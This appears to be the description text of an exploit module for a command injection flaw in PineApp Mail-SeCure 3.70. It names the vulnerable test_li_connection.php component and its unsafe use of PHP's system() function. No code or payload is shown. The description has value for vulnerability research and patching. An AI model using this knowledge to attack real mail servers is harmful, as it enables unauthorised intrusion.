          This module exploits a command injection vulnerability on PineApp Mail-SeCure
          3.70. The vulnerability exists on the test_li_connection.php component, due to the
          insecure usage of the system() php function. This module has been tested successfully
          on PineApp Mail-SeCure 3.70.
